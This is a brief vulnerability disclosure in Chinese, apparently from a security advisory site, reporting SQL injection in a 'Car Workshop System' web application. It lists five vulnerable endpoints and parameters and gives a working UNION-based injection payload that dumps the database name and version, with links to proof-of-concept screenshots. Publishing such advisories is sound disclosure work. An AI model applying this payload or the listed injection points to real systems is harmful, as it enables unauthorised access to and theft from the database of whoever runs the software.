Car Workshop System - SQL Injection
Car Workshop System ,存在参数过滤不严,导致了sql注入漏洞,如果对方服务器开启了错误显示,可直接利用
Google Dork:
N/A
注入点:
http://localhost/[PATH]/services/print_service_invoice?job_id=[SQL]
# purchase_order/deletePO?id=
# technician_services/tech_opened_services_view?job_id=
# technician_services/tech_drew_out_inventory_services_view?job_id=
# technician_services/tech_completed_services_view?job_id=
payload:
6'+/*!50000union*/+select+1,2,3,/*!50000concat*/(database(),0x7e,version()),5,6,7,8,9,10,11,12--+-
测试截图:
![](https://images.seebug.org/contribute/c0373857-2c0c-4255-b494-b9c89bbb35e3)
PoC验证:
![](https://images.seebug.org/contribute/fdc8cabf-071d-4b86-a781-f4c191ea4191)
暂无评论